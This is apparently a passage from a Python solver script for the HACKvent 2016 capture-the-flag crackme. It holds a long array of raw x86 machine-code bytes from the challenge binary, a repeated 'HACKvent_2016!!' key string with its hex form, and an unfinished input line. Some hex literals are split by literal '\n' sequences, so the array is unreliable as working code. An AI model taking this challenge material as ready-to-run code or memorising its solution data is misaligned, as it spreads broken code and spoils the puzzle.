0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xD6, 0xC1, 0x62, 0xCA, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xFC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x0\n5, 0x00, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x04, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x08, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x0C, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x10, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x14, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB0, 0x42, 0x40, 0x00, 0x01, 0x05, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB4, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA0, 0x42, 0x40, 0x00, 0xA1, 0xB8, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xA1, 0xBC, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA8, 0x42, 0x40, 0x00, 0xA1, 0xC0, 0x42, 0x40, 0x00, 0x01, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xC3, 0xC8, 0x04, 0x00, 0x00, 0xE8, 0x42, 0xDA, 0xFF, 0xFF, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xE8, 0x6A, 0xDA, 0xFF, 0xFF, 0x8B, 0x7D, 0x08, 0x8B, 0x35, 0xCC, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0x0E, 0xDB, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x35, 0x98, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0xED, 0xDA, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xB8, 0x9C, 0x42, 0x40, 0x00, 0x33, 0xF6, 0x83, 0xFE, 0x14, 0x74, 0x0D, 0x8B, 0x0C, 0x30, 0x0F, 0xC9, 0x89, 0x0C, 0x30, 0x83, 0xC6, 0x04, 0xEB, 0xEE, 0x33, 0xC9, 0xC9, 0xC2, 0x08, 0x00, 0x6A, 0x00, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xA3, 0xD0, 0x42, 0x40, 0x00, 0x6A, 0x00, 0x68, 0xD6, 0x38, 0x40, 0x00, 0x6A, 0x00, 0x6A, 0x65, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x13, 0x03, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0xCA, 0x02, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x0C, 0x10, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xD4, 0x02, 0x00, 0x00, 0xE9, 0xE8, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x13, 0x01, 0x00, 0x00, 0x75, 0x2D, 0xBA, 0x31, 0x00, 0x00, 0x00, 0x4A, 0x64, 0x8B, 0x02, 0xF7, 0x40, 0x68, 0x70, 0x00, 0x00, 0x00, 0x74, 0x16, 0xBE, 0xDE, 0x3B, 0x40, 0x00, 0x56, 0x5A, 0x83, 0xEA, 0x0D, 0x4A, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x10, 0xFF, 0x75, 0x08, 0xFF, 0xD2, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x11, 0x01, 0x00, 0x00, 0x0F, 0x85, 0x17, 0x01, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x68, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x7C, 0x02, 0x00, 0x00, 0xE9, 0xFD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x01, 0x0F, 0x85, 0xF3, 0x00, 0x00, 0x00, 0x6A, 0x28, 0x68, 0xD8, 0x42, 0x40, 0x00, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x53, 0x02, 0x00, 0x00, 0x81, 0x3D, 0xD8, 0x42, 0x40, 0x00, 0x48, 0x56, 0x31, 0x36, 0x0F, 0x85, 0xC7, 0x00, 0x00, 0x00, 0xBE, 0xD8, 0x42, 0x40, 0x00, 0x83, 0xC6, 0x05, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xBF, 0xFE, 0x42, 0x40, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0xFE, 0x42, 0x40, 0x00, 0xE8, 0x4F, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x70, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x6A, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0x06, 0x43, 0x40, 0x00, 0xE8, 0x28, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x78, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x39, 0xE8, 0x30, 0x01, 0x00, 0x00, 0x83, 0x3D, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x75, 0x21, 0x6A, 0x40, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x55, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xB3, 0x01, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x96, 0x01, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xAD, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xA3, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0x99, 0x00, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x01, 0x02, 0x00, 0x00, 0x75, 0x14, 0xFF, 0x75, 0x14, 0x6A, 0x02, 0x68, 0xA1, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x66, 0x01, 0x00, 0x00, 0xEB, 0x71, 0x81, 0x7D, 0x0C, 0x10, 0x01, 0x00, 0x00, 0x75, 0x68, 0xB8, 0xE3, 0x3B, 0x40, 0x00, 0x50, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x2A, 0x01, 0x00, 0x00, 0xA3, 0xD4, 0x42, 0x40, 0x00, 0x5A, 0x83, 0xEA, 0x07, 0x87, 0xD1, 0x6A, 0x00, 0x6A, 0x0A, 0x68, 0x37, 0x13, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xFF, 0xD1, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x0C, 0x01, 0x00, 0x00, 0x6A, 0x69, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x23, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x0D, 0x01, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x1D, 0x68, 0xC5, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xF9, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC9, 0xC2, 0x10, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x6A, 0x10, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x94, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xCF, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xB2, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x10, 0xE8, 0xBF, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x08, 0xFF, 0x75, 0x0C, 0xE8, 0xE5, 0xD4, 0xFF, 0xFF, 0xE8, 0x4F, 0xD7, 0xFF, 0xFF, 0xC9, 0xC2, 0x0C, 0x00, 0x68, 0x4D, 0x3B, 0x40, 0x00, 0x64, 0x67, 0xFF, 0x36, 0x00, 0x00, 0x64, 0x67, 0x89, 0x26, 0x00, 0x00, 0x0F, 0xB6, 0x05, 0xF1, 0x42, 0x40, 0x00, 0x83, 0xE8, 0x45, 0xF7, 0xF0, 0x64, 0x67, 0x8F, 0x06, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xC4, 0x04, 0xC3, 0x33, 0xC0, 0xA3, 0x0E, 0x43, 0x40, 0x00, 0x8B, 0x4C, 0x24, 0x0C, 0x89, 0x41, 0x04, 0x89, 0x41, 0x08, 0x89, 0x41, 0x0C, 0x89, 0x41, 0x10, 0x89, 0x41, 0x14, 0x89, 0x41, 0x18, 0x83, 0x81, 0xB8, 0x00, 0x00, 0x00, 0x02, 0x6A, 0x09, 0x68, 0xEC, 0x42\n, 0x40, 0x00, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0xB9, 0x14, 0x00, 0x00, 0x00, 0xBE, 0x80, 0x40, 0x40, 0x00, 0x8B, 0xF8, 0xF3, 0xA6, 0x75, 0x0A, 0xC7, 0x05, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xFF, 0x25, 0x78, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x7C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x80, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x88, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x8C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x90, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x94, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x98, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x9C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA0, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA4, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA8, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xAC, 0x50]\nhackvent_string = \"HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!\"\nhackvent_hex = [0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21]\ninput_1 = 